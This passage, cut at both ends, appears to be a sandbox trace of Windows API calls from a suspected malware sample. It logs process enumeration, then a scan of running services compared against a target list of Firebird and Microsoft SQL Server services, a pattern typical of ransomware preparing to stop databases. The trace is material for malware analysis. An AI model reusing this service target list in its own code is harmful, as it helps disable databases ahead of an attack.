th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0114.317] lstrlenW (lpString="msoia.exe") returned 9 [0114.317] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0114.318] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0114.318] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0114.318] lstrlenW (lpString="msoia.exe") returned 9 [0114.318] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0114.319] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0114.319] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0114.320] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0114.320] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0114.320] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0114.321] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0114.321] lstrlenW (lpString="arc obviously.exe") returned 17 [0114.321] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0114.322] lstrlenW (lpString="scholars.exe") returned 12 [0114.322] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0114.323] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0114.323] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0114.323] lstrlenW (lpString="organizing.exe") returned 14 [0114.323] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0114.324] lstrlenW (lpString="campus.exe") returned 10 [0114.324] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0114.325] lstrlenW (lpString="mug.exe") returned 7 [0114.325] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0114.325] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0114.326] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0114.326] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0114.326] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0114.352] lstrlenW (lpString="powers mixture.exe") returned 18 [0114.352] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0114.353] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0114.353] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0114.353] lstrlenW (lpString="bachelor.exe") returned 12 [0114.354] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0114.354] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0114.354] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0114.355] lstrlenW (lpString="indication wage paying.exe") returned 26 [0114.355] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0114.356] lstrlenW (lpString="thee pub emission.exe") returned 21 [0114.356] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.357] lstrlenW (lpString="dllhost.exe") returned 11 [0114.357] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0114.358] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0114.358] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0114.359] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0114.359] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0114.360] lstrlenW (lpString="upgrading.exe") returned 13 [0114.360] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0114.361] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0114.361] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0114.361] lstrlenW (lpString="russell.exe") returned 11 [0114.362] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.362] lstrlenW (lpString="conhost.exe") returned 11 [0114.362] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.363] lstrlenW (lpString="conhost.exe") returned 11 [0114.363] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.364] lstrlenW (lpString="svchost.exe") returned 11 [0114.364] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0114.365] lstrlenW (lpString="1csrss.exe") returned 10 [0114.365] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0114.365] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0114.365] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.366] lstrlenW (lpString="conhost.exe") returned 11 [0114.366] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.367] lstrlenW (lpString="cmd.exe") returned 7 [0114.367] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.368] lstrlenW (lpString="conhost.exe") returned 11 [0114.368] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.368] lstrlenW (lpString="svchost.exe") returned 11 [0114.368] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0114.369] lstrlenW (lpString="mode.com") returned 8 [0114.369] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0114.370] CloseHandle (hObject=0x358) returned 1 [0114.370] Sleep (dwMilliseconds=0x1f4) [0114.913] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eeea8 [0114.913] EnumServicesStatusExW (in: hSCManager=0x5eeea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0114.914] GetLastError () returned 0xea [0114.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x6130e8 [0114.914] EnumServicesStatusExW (in: hSCManager=0x5eeea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6130e8, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6130e8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0114.915] CloseServiceHandle (hSCObject=0x5eeea8) returned 1 [0114.915] lstrlenW (lpString="Appinfo") returned 7 [0114.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0114.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0114.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0114.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0114.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0114.915] lstrlenW (lpString="AppXSvc") returned 7 [0114.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0114.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0114.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0114.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0114.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0114.915] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0114.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.916] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0114.916] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0114.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0114.916] lstrlenW (lpString="Audiosrv") returned 8 [0114.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0114.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0114.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0114.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0114.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0114.916] lstrlenW (lpString="BFE") returned 3 [0114.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0114.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0114.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0114.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0114.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0114.916] lstrlenW (lpString="BITS") returned 4 [0114.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0114.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0114.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0114.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0114.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0114.916] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0114.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0114.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0114.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0114.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0114.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0114.917] lstrlenW (lpString="CDPSvc") returned 6 [0114.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0114.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0114.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0114.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0114.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0114.917] lstrlenW (lpString="ClickToRunSvc") returned 13 [0114.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0114.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0114.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0114.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0114.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0114.917] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0114.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0114.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0114.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0114.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0114.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0114.917] lstrlenW (lpString="CryptSvc") returned 8 [0114.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0114.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0114.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0114.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0114.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0114.917] lstrlenW (lpString="DcomLaunch") returned 10 [0114.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.917] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0114.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0114.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0114.918] lstrlenW (lpString="DeviceAssociationService") returned 24 [0114.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0114.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0114.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0114.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0114.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0114.918] lstrlenW (lpString="Dhcp") returned 4 [0114.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0114.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0114.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0114.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0114.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0114.918] lstrlenW (lpString="Dnscache") returned 8 [0114.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0114.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0114.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0114.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0114.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0114.918] lstrlenW (lpString="DoSvc") returned 5 [0114.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0114.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0114.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0114.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0114.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0114.918] lstrlenW (lpString="DPS") returned 3 [0114.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0114.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0114.919] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0114.919] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0114.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0114.919] lstrlenW (lpString="DusmSvc") returned 7 [0114.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0114.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0114.919] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0114.919] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0114.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0114.919] lstrlenW (lpString="EventLog") returned 8 [0114.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0114.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0114.919] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0114.919] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0114.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0114.919] lstrlenW (lpString="EventSystem") returned 11 [0114.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0114.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0114.919] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0114.919] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0114.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0114.919] lstrlenW (lpString="FontCache") returned 9 [0114.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0114.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0114.919] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0114.919] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0114.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0114.920] lstrlenW (lpString="gpsvc") returned 5 [0114.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0114.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0114.920] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0114.920] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0114.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0114.920] lstrlenW (lpString="iphlpsvc") returned 8 [0114.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.920] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0114.920] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0114.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0114.920] lstrlenW (lpString="KeyIso") returned 6 [0114.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0114.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0114.920] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0114.920] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0114.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0114.920] lstrlenW (lpString="LanmanServer") returned 12 [0114.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0114.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0114.920] lstrcmpiW (lpString1="sqlwriter", 